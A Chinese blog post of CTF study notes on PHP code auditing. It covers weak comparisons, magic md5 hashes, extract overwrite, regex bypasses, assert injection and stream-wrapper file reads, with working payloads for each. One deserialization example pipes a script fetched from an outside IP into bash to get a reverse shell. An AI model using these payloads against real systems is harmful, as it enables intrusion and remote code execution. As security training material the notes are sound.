best_CodeReview

1. PHP代码审计

1.1 php函数

1.1.1 md5和sha1

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0e”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么PHP将会认为他们相同,都是0。(0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0,但需要注意的是0e后面的必须都是数字。)

md5或者sha1加密并进行弱类型匹配的时候,就可以利用这个特性进行绕过。常见的payload有:

MD5类型,进行md5加密
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
-----------------------------------------------------------------------------------------
sha1类型,进行sha1加密
sha1('aaroZmOk')  
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

同时MD5不能处理数组,若有以下判断也可用数组绕过。

easy_demo

<?php
    //payload1:  ?a[]=1&b[]=2
    //payload2:  ?a=QNKCDZO&b=240610708
    $a = $_GET['a'];
    $b = $_GET['b'];
    if($a!=$b&&md5($a)==md5($b)){
        echo 'success';
    }
?>

hard_demo0

需要满足:$md5==md5($md5)
0e9453824101

hard_demo1

参考资料:

1、36d(ctfshow)https://www.gem-love.com/ctf/2283.html

<?php
    //题目
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
?>

正常爆破:

#coding:utf-8
import hashlib

for i in range(0,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md5 = hashlib.md5(md5.encode()).hexdigest()
    # print(md5)
    if md5[0:2] == '0e' and md5[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break
    else:
        if int(i) % 1000000 == 0:
            print(i)
#得到结果:0e1138100474
#  0e9560937882
#  0e1883153115
# success str:0e1138100474  md5(str):0e779212254407018184727546255414

多线程MD5哈希碰撞:

#coding:utf-8
#python2
import multiprocessing
import hashlib
import random
import string
import sys
import time

t = time.time()
print('开始计时:'+'0 min')
CHARS = string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=10):
    key = 0
    while not stop_event.is_set():
        t_now = time.time()-t
        if (int(t_now)%60==0)&(int(t_now)/60!=key):
            key = int(t_now)/60
            print('开始计时:'+str(int(t_now)/60).replace('.0','')+' min')
        rnds = '0e'+(''.join(random.choice(CHARS) for _ in range(size)))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        # if value[start: start+str_len] == substr and value[start+str_len:].isdigit():
            # print(rnds)
            #碰撞双md5
        md5 = hashlib.md5(value)
        if md5.hexdigest()[start: start+str_len] == substr and md5.hexdigest()[start+str_len:].isdigit():
            print(rnds)
            print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
            stop_event.set()

if __name__ == '__main__':
    t = time.time()
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

这个脚本增加了计时功能,但每次有两条回显,我也不知道怎么改。并且因为是随机的,所以会存在浪费资源的情况,最好改成8个线程,每个线程负责不同区域的随机。

hard_demo1

但用php计算的话,与python计算的结果又不一样:

php > print(md5(md5(0e1138100474)));
dcfcd07e645d245babe887e5e2daa016

同时还发现了一个php的特性:

<?php
if($a===$b){
    echo 'success';
}
//由于未定义,所以默认都为null,始终success
?>

hard_demo2

参考资料:

1、双md5加密绕过(这篇文章存在一些错误!!) https://blog.csdn.net/baguangman5501/article/details/102031546

直接利用hard_demo1的结果构造payload

<?php 
//payload:    ?a=QNKCDZO&b=0e9560937882
if (isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    if ($a != $b && md5($a) == md5(md5($b))) {
        echo "flag{XXXXX}";
    } 
    else {
        echo "wrong!";
    }
} 
else {
    echo 'wrong!';
}
?>

hard_demo3

如果我把条件变的更加苛刻一点:

<?php 
if (isset($_GET['a'])) {
    $a = $_GET['a'];
    if (md5($a) == md5(md5($a))) {
        echo "flag{XXXXX}";
    } 
    else {
        echo "wrong!";
    }
} 
else {
    echo 'wrong!';
}
?>

1.1.2 strcmp

这个漏洞在php版本5.2.17下测试发现已经被官方修补了,现把原理介绍如下

int strcmp(string $str1, string $str2)

参数 str1第一个字符串。str2第二个字符串。如果 str1小于str2返回 < 0;如果str1大于str2返回>0;如果两者相等,返回 0。

当这个函数接受到了不符合的类型,这个函数将发生错误,但是显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了,这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞。

demo地址 http://123.206.87.240:9009/6.php

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])){
    if (strcmp($_GET['a'], $flag) == 0) die('Flag: '.$flag);
    else die('No');
}
?>

1.1.3 eval

eval函数的输入句尾必须有;,表示一句完整的php语句。

<?php 
$a = $_GET['a'];
eval($a);
?>
windows下:
?a=system('type d:\flag');
如果把单引号换成双引号,就错误了。
-----------------------------------------------------------------------------------------
linux下:
?a=system("cat /flag");
?a=system('cat /flag');
这两条都可以

1.1.4 array_search和in_array

array_search

array_search函数在数组中搜索某个键值,并返回对应的键名。

<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

这段代码的意思就是先判断是不是数组,然后再把数组中的内容一个个进行遍历,所有内容都不能等于admin,并把所有内容转化成int型,最后若数组$test的键值为admin,则返回flag,如何绕过呢?

基本思路还是不变,因为用的是三个=,所以说“= =”号这个方法基本不能用,那就用第二条思路,利用函数接收到了不符合的类型返回“0”这个特性,直接绕过检测。所以payload:test[]=0。

in_array

在PHP手册中,in_array的函数解释是bool in_array (mixed needle,array haystack [, bool strict=FALSE])

如果strict参数没有提供或者是false(true会进行严格的过滤),那么inarray就会使用松散比较来判断needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));  //true
var_dump(in_array('1bc', $array));  //true

1.1.5 is_numeric

参考资料:

1、PHP is_numeric() 函数 https://www.runoob.com/php/php-is_numeric-function.html

2、VulnCTF的练习教室v1.0——-WEB———–第四题【绕过and后面的is_numeric()】

https://blog.csdn.net/nzjdsds/article/details/82947846

https://www.cnblogs.com/GH-D/p/8085676.html

<?php
$a = $_GET['a'];
if(is_numeric($a)){
    echo 'yes';
}
?>

is_numeric() 函数用于检测变量是否为数字或数字字符串(就是不能有除了数字以外的),利用%00截断来绕过is_numeric判断。

is_numeric

1.1.6 extract

参考资料:

1、BugKuCTF(CTF-练习平台)——代码审计-extract变量覆盖 https://blog.csdn.net/qq_40980391/article/details/80097596

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数type用于指定当某个变量已经存在,而数组中又有同名元素时,extract()函数如何对待这样的冲突。

extract

1.1.6.1 easy_demo1

paylaod: pass=&thepassword_123=

<?php
include("secret.php");
?>
<html>
    <head>
        <title>The Ducks</title>
        <link href="css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">
        <script src="js/bootstrap.min.js" crossorigin="anonymous"></script>
    </head>
    <body>
        <div class="container">
            <div class="jumbotron">
                <center>
                    <h1>The Ducks</h1>
                    <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>
                    <form action="." method="POST">
                        <div class="row">
                            <div class="col-md-6 col-md-offset-3">
                                <div class="row">
                                    <div class="col-md-9">
                                        <input type="password" class="form-control" name="pass" placeholder="Password" />
                                    </div>
                                    <div class="col-md-3">
                                        <input type="submit" class="btn btn-primary" value="Submit" />
                                    </div>
                                </div>
                            </div>
                        </div>
                    </form>
                </center>
            </div>
            <p>
                <center>
                    source at <a href="source.php" target="_blank">/source.php</a>
                </center>
            </p>
        </div>
    </body>
</html> 

1.1.6.2 easy_demo2

<?php
    include('s3cret.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid)){
        $content=trim(file_get_contents($k));
        if($uid==$content){
            echo $flag;
        }
        else{
            echo 'hello';
        }
    }
?>

extract+伪协议

1.1.6.3 hard_demo

参考资料:

1、红日Day5-CTF https://blog.csdn.net/zhangpen130/article/details/103939281/

2、PHP 数组 https://www.runoob.com/php/php-arrays.html

<?php
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v){
                unset($$__k);
            }
        }
    }
}

if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_POST) extract($_POST, EXTR_SKIP);

if(isset($_GET['flag'])){
    if($_GET['flag']===$_GET['hongri']){
            exit("error");
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        echo "this is flag";
    }
}
?>

payload:

payload

post过去两个值,$_POST是一个关联数组,键名是_GET,键值又是一个关联数组

array(1) {  '_GET' =>  array(2) {    'flag' =>    string(9) "240610708"    'hongri' =>    string(7) "QNKCDZO"  } } 

get过去两个值,$_GET也是一个关联数组

array(2) {  'flag' =>  string(9) "240610708"  'hongri' =>  string(7) "QNKCDZO" } 

$_GET$_POST的键值是相等的。

调试过程

先构造相等,unset把$_GET释放掉,再利用extract根据$_POST的键名和键值得到$_GET,从而绕过waf的检测,满足if(isset($_GET['flag']))的条件。

1.1.7 function(读取文件内容)

好几次碰到题目没想到去读index.php或其他文件的内容,这里好好记录反省下。能用于读取文件内容的php函数有readfile、hightlight_file、file_get_contents、show_source。

1.1.7.1 特性

readfile

readfile("flag.php","")    //后面那个参数可以为空

1.1.7.2 demo1

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}    
class Test {
    var $p = "Y-m-d h:i:sa";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }
}
?>

这道题的难点不是代码审计,而是emmmmmmmmmmmmmm!!!!!!!!!!!!!

tnl

我没有去读文件,我没有去读文件,我没有去读文件,我没有去读文件,我没有去读文件,我没有去读文件。

言归正传,这道题反序列化直接绕过in_array检测,实现rce,但是根目录里没flag,web根目录没有flag,我怀疑web根目录需要找路径,反序列化去看phpinfo,搜索index.php,找到了路径/data/frontend/web/index.php,很遗憾绝对路径也没有flag。

O:4:"Test":2:{s:1:"p";s:2:"20";s:4:"func";s:7:"phpinfo";}

phpinfo

反弹shell

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:40:"curl http://47.112.158.20/shell.txt|bash";s:4:"func";s:6:"system";}

flag在tmp文件夹下面:

find /tmp -name "*" | xargs grep "flag{"

result

1.1.7.3 demo2

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");
    show_source(__FILE__);
//  ?hello=scandir(chr(47))
//  ?hello=file_get_contents("flag.php")
?> 

1.1.8 preg_replace

1.1.9 str_replace

曾经做过一道题LFI,源码如下:

构造去读hint.txt,得到flag!hdctf.php,然后!会被过滤,这时候str_replace和preg_replace搭配使用可以进行绕过。

<?php
    //index.php
/*
 *    more: aGludC50eHQ=   hint.txt
 * 
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
    $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
    echo '<title>'.$_GET['jpg'].'</title>';
    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    echo $file.'</br>';
    $file = str_replace("s3cret","!", $file);
    echo $file.'</br>';
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

1.1.10 preg_match

1、一般用%0a绕过(当preg_match中有^或者$的时候),demo如下:

demo1:

<?php
if(preg_match('/^2333$/',$_GET[a])&&$_GET[a]!=="2333"){
    echo 'success';
}
else{
    echo "fail";
}
// payload : ?a=2333%0a
?>

demo2

2、正则回溯次数限制绕过

参考p牛文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配,限制次数在php.ini的pcre.backtrack_limit有,而不造成这个漏洞的方法就是使用强比较=== 。

小细节:get是传不了这么大的数据的,可以用post传

payload:

python构造"a"*1000000

1.1.11 sprintf

1.1.12 assert

题目链接:http://web.jarvisoj.com:32798

参考资料:

1、记一道CTF题babyphp之学习代码注入 https://blog.csdn.net/xiaotaode2012/article/details/77370436

<?php
    //核心代码
    // paylaod:  ?page=flag'.system("cat templates/flag.php").'flag
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

babyphp

1.1.13 intval

intval函数内填入科学计数法的字符串,会以e前面的数字作为返回值,如果该字符串与整数相加就会强行转化为数字类型。

php > echo intval("0e5");
0
php > echo intval("10e5");
1000000
php > echo intval("10e5"+1);
1000001

在windows下,也会存在如下情况(应该是整型溢出)

php > echo intval("7e10"+1);
70000000001
php > echo intval("7e20"+1);
-976274800962961408
php > echo intval("7e30"+1);
-1354457587931676672
php > echo intval("7e55"+1);
0

1.1.14 call_user_func

1.2 php语法特性

1.2.1 数组

<?php 
$a = $_GET['a'];
$b = $_GET['b'];
$number = 999999999999999;
if($a>$number){
    echo 'fight!!!';
    echo "</br>";
}
else{
    die('too small');
}
$new_a = $b($a);
if($new_a == 0){
    echo 'flag{******}';
}
else{
    echo 'too big';
}
?>

php的数组始终比数字大,转换成字符串与0弱相等

payload:    ?a[]=0&b=strval
脑洞:如果我去限制传入b的长度呢

1.2.2 字符串

字符串和数字比较,字符串会被转换成数字。

混合字符串转换成数字,从第一个数字到第一个字母为止这部分为数值(如果该字符串第一个字符就为字母,那么即使它后面还有数字,它仅与0弱相等)。

<?php
if(0=="a121"){
    echo 'success';
}
?>

若数值为科学计数法表示,则不会把e当成字母,会取完整的科学技术法表示的数值。

<?php
$a = "1e100aaaaaa";
if($a>1000000000000000000000000000000000000000000000000000000000000000){
    echo "success";
}
#success
?>

1.2.3 数值类型

1.2.3.1 十六进制

首先我们看一下例子:

"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

php在接受一个带0x的字符串的时候,会自动把这行字符串解析成十进制的再进行比较,0x1e240解析成十进制就是123456,并且与字符串类型的123456和int型的123456都相同。

例子:《起名字真难》源自源于南邮攻防平台题目(https://cgctf.nuptsast.com/challenges#Web)

<?php
function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {  
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
               {
                       return false;
               }
       }
          return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else
   echo 'access denied';
?>

题目大致的意思就是输入一串key,key不可以是数字的形式,但是要求与54975581388相等,看完题目就知道要求字符串和数字进行比较,想到的就是弱类型,54975581388与之匹配的十六进制的字符串是0xccccccccc。这就很巧了,全不是数字,自然就绕过了,得到flag。

1.2.3.2 布尔值

<?php
// $a = $_GET['a'];
// if(preg_match("/name/i", $a)){
//     echo 'hacker!!';
// }
// else{
//     if($a=="name"){
//     echo "success";
// }
$a = true;
if($a=="name"){
    echo "success";
}
?>

布尔值可以和任何字符串弱相等,因为get形式提交的都是字符串,所以注释那部分的出题预想就不能实现了。

1.2.3.3 科学计数法

字符串开头以xex开头,x代表数字。会被转换成科学计数法(注意一定要是de/d+的模式)。但是也有例外如:-1.3e3转换为浮点数是-1300。

例如: "2e0"=="2"

1.2.3.4 json

首先我们介绍一下什么是json:json概念很简单,json是一种轻量级的数据格式,他是基于 javascript 语法的子集,即数组和对象表示。由于使用的是 javascript 语法,因此json定义可以包含在javascript 文件中,对其的访问无需通过基于 XML 的语言来额外解析。

demo:

<?php
if (isset($_POST['message'])) {
    echo $message->key;
    $message = json_decode($_POST['message']);
    //$key就是不想给你看,我只能告诉你它是字符串;
    if ($message->key == $key) {
        echo "flag";
    }
    else {
        echo "fail";
    }
}
else{
     echo "~~~~";
}
?>

输入一个数组进行json解码,如果解码后的message与key值相同,会得到flag,主要思想还是弱类型绕过。我们知道key值是字符串,上文讲过,两个等号比较时会转化成同一类型再进行比较,那么就可以进行爆破。最终

payload message={"key":number}
number处进行数字爆破
-----------------------------------------------------------------------------------------
一个需要注意的点:键值需要用双引号括起来,用单引号错误!!

1.2.3.5 浮点精度

参考资料:

1、https://www.gem-love.com/ctf/2283.html

样例:分别在本地的不同php版本下进行测试

php7.3.4版本
<?php
$a = "1000000000000000.01";
//$a = "100000000000000.01";   整数部分少个0就不行了
$b = intval($a);
//$b = 1000000000000000
if($a==$b){
    echo "success";
}
#if语句判断为真
?>
-----------------------------------------------------------------------------------------
php5.6.9版本
<?php
$a = "1000000000000000.01";
$b = intval($a);
#2147483647
#显然下面的if语句判断为假
if($a==$b){
    echo "success";
}
?>    

php5.6.9版本

题目:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
?>

这道题要求传入的值类型上不是回文,传入的值与其取整后的值相等,而其取整后的值又要与倒转过来的值取整后的相等,payload如下:

非预期:?num=00.0
-----------------------------------------------------------------------------------------
预期解:?num=100000000.0000000010
//两个1之间0的个数最少为16个

研究一下:

<?php
//php7.3.4版本
$a = "1.0000000000000001";  //两个1之间0的个数最少为15个
$b = intval($a);
if($a==$b){
    echo "success";
}
//success
?>

1.2.4 php 三种写法

<? echo ("这是一个 PHP 语言的嵌入范例\n"); ?>

<?php echo("这是第二个 PHP 语言的嵌入范例\n"); ?>

<script language="php"> echo ("这是类似 JavaScript 及 VBScript 语法的 PHP 语言嵌入范例");</script>

<% echo ("这是类似 ASP 嵌入语法的 PHP 范例"); %>

1.2.5 伪协议

php伪协议(php_version>=5.2)

1.2.5.1 php://input

1.2.5.2 php://filter

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

img

php://filter/convert.base64-encode/resource=flag.php
php://filter/read=string.rot13/resource=index.php

tip1: php://filter伪协议可以套一层协议,以此绕过某些过滤

?category=php://filter/read=convert.base64-encode/woofers/resource=flag
或者:
php://filter/woofers/convert.base64-encode/resource=flag
可以正常读取文件,但include函数包含后也会报错:Unable to create filter (woofers) in <b>/var/www/html/index.php

1.2.5.3 php://phar

PHP归档,解压缩协议

上传包含任何格式文件shell的压缩包,再用phar协议解析

1.2.5.4 data

条件:

allow_url_fopen = On

allow_url_include = On

index.php?file=data:text/plain,flag.php
index.php?file=data:text/plain;base64,ZmxhZy5waHA=

1.3 常见漏洞类型

1.3.1 文件包含

include()
require()
include_once()
require_once()

这四个函数会将包含的文件作为php文件解析(注意只是解析,而不是将文件内容回显出来,若想回显出来,需要搭配伪协议):

1、require_once表示同名文件只引入一次。

2、require则会导致一个致命性错误且脚本停止执行。

3、include在引入不存在的文件时产生一个警告,但脚本还会继续执行。

可利用的文件包含漏洞条件:
1、include等函数通过动态变量方式引入需要包含的文件,注意通过变量实现文件包含,而不是变量包含。
2、用户可控制该动态变量。

1.4 特殊类型

1.4.1 hash长度拓展攻击

参考资料:

1、http://note.youdao.com/noteshare?id=d0c2493e5ed494d1f808ead125672bb0&sub=0FDB0421EAFF4BF28470BDAF061F73E2

2. 题目

2.1 WUSTCTF 朴实无华Revenge

考点:浮点精度、md5爆破、命令执行绕过、Linux命令

参考链接:

1、https://www.gem-love.com/ctf/2283.html

如果把本篇文章前面的基础看完,再看一下best_rce,这道题就没问题了。(很精彩的一道php代码审计)

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

2.2 朴实无华Revenge 2.0

考点:is_numeric + \f

参考链接:

1、PHP代码审计(绕过过滤的空白字符) https://blog.csdn.net/qq_36609913/article/details/79296052

这道题和上面y1ng大佬出的那道题很像,内部考察的则是另外一套知识点,本地phpstorm+xdebug调试收获很多。

思路:

get形式传参$number"number"作为数组$req的键名,$number的值经trim处理后作为键值赋给数组$req

is_numeric要求传入的$number不能是数字型字符串,此处可用%00截断,绕过判断。

$req['number']!=strval(intval($req['number']))要求数组$req的值与其取整后的值弱相等,intval会忽略\f。

最后要求数组$req取整后的键值与其取反后再取整的键值相等,但其键值又不能是回文。这里因为数组$req的键值被trim处理过,所以不能用%0a,%0b,这些不可见字符会被trim过滤,用%0c也就是\f就可以了,从而达到不是回文,但取整又相等的目的。

Revenge 2.0

<?php

$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告

if(!isset($_GET['number'])){
    header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

    die("have a fun!!"); //die — 等同于 exit()

}

foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式
    foreach($global_var as $key => $value) {
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    }
}


function is_palindrome_number($number) {
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0;
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) {
        if($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}


if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{

    $info="sorry, you cann't input a number!";

}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{

    $info = "number must be equal to it's integer!! ";

}
else
{

    $value1 = intval($req["number"]);
    $value2 = intval(strrev($req["number"]));

    if($value1!=$value2){
        $info="no, this is not a palindrome number!";
    }
    else
    {

        if(is_palindrome_number($req["number"])){
            $info = "nice! {$value1} is a palindrome number!";
        }
        else
        {
            $info=$flag;
        }
    }

}

echo $info;

payload:

?number=%00%0c131

2.3 easy_game

考点:代码审计 + 反序列化 + sql注入

参考资料:

0、SWPU CTF 2017 Web WriteUp(非常详细) https://blog.csdn.net/vspiders/article/details/78510579?readlog

1、%00截断配合反序列化的奇妙利用 https://www.codercto.com/a/63196.html

2、swpu第八届网络安全大赛Writeup https://www.secpulse.com/archives/65568.html(payload here!!)

3、Mochazz’s blog https://mochazz.github.io/2017/12/04/08067CTF/#%E6%88%91%E4%BB%AC%E6%9D%A5%E5%81%9A%E4%B8%AA%E5%B0%8F%E6%B8%B8%E6%88%8F%E5%90%A7

4、SWPUCTF web writeup https://www.colabug.com/2017/1105/1825075/

5、2017swpu-ctf总结 https://www.cnblogs.com/wangshuwin/p/7836711.html

这道题考察很综合,但苦于没有复现环境,于是就想把这道题做一个镜像。

3. 参考资料

1、浅谈代码审计入门实战:某博客系统最新版审计之旅 https://www.freebuf.com/news/143554.html

2、审计系列:https://www.cnblogs.com/pojun/p/7354916.html


   转载规则


《best_CodeReview》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
best_nodejs best_nodejs
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-10
下一篇 
best_MISC best_MISC
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-08
  目录